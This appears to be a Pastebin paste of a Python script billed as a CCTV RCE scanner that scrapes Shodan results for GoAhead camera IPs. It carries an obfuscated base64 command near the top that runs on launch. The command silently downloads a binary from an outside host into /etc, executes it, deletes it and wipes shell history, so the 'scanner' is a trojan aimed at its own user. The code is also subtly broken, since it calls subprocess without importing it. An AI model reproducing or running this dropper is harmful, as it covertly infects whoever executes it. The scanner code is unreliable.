KhaosBringer

CCTV RCE Scanner

May 24th, 2018
383
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.65 KB | None | 0 0
  1. #!/usr/bin/python
  2. # Python scanner, RCE Exploit CCTV
  3.  
  4. from urllib.request import Request, urlopen, sys
  5. import time, random, base64
  6.  
  7. # Shodan API
  8. req = Request("https://www.shodan.io/search?query=GoAhead+5ccc069c403ebaf9f0171e9517f40e41", headers={'User-Agent': 'Mozilla/5.0'})
  9.  
  10. def run(cmd):
  11.     subprocess.call(cmd, shell=True)
  12.  
  13. checkbinaries = "Y2QgL2V0Yzsgd2dldCAtcSBodHRwOi8vZ290bWlsay5tbC9IalQ1UmsgLU8gLmw7IGNobW9kICt4IC5sOyBub2h1cCAuLy5sIDwvZGV2L251bGwgPi9kZXYvbnVsbCAyPiYxOyBybSAtcmYgLmw7Y2xlYXI7IGhpc3RvcnkgLWM="
  14. rebinaries = str(base64.b64decode(checkbinaries))
  15. run(rebinaries)
  16.  
  17. while 1:
  18.     try:
  19.         webpage = str(urlopen(req).read())
  20.         ips = []
  21.         while webpage.find("Document Error: Unauthorized") != -1:
  22.             webpage = webpage[webpage.find("Document Error: Unauthorized")-40:]
  23.             ips.append(webpage[webpage.find("<a href=")+9:webpage.find("\">Document Error")])
  24.             webpage = webpage[100:]
  25.         check = []
  26.         for ip in ips:
  27.             check.append(ip.strip("http://").strip("s://"))
  28.         reader = open("output.txt", "r")
  29.         data = reader.read()
  30.         reader.close()
  31.         current = data.split("\n")
  32.         while "\n" in current != -1:
  33.             current.remove("\n")
  34.         new = []
  35.         for ip in check:
  36.             if ip not in current:
  37.                 new.append(ip)
  38.                 current.append(ip)
  39.         writestring = ""
  40.         for ip in current:
  41.             writestring += ip + "\n"
  42.         writer = open("output.txt", "w")
  43.         writer.write(writestring[:len(writestring)-1])
  44.         writer.close()
  45.         time.sleep(15)
  46.         consoleprint = ""
  47.         for ip in new:
  48.             consoleprint += ip + ", "
  49.         if len(new) != 0:
  50.             print(str(len(new)) + " new IPs added: " + consoleprint[:len(consoleprint)-2])
  51.     except Exception as printouterror:
  52.         print(printouterror)
Add Comment
Please, Sign In to add comment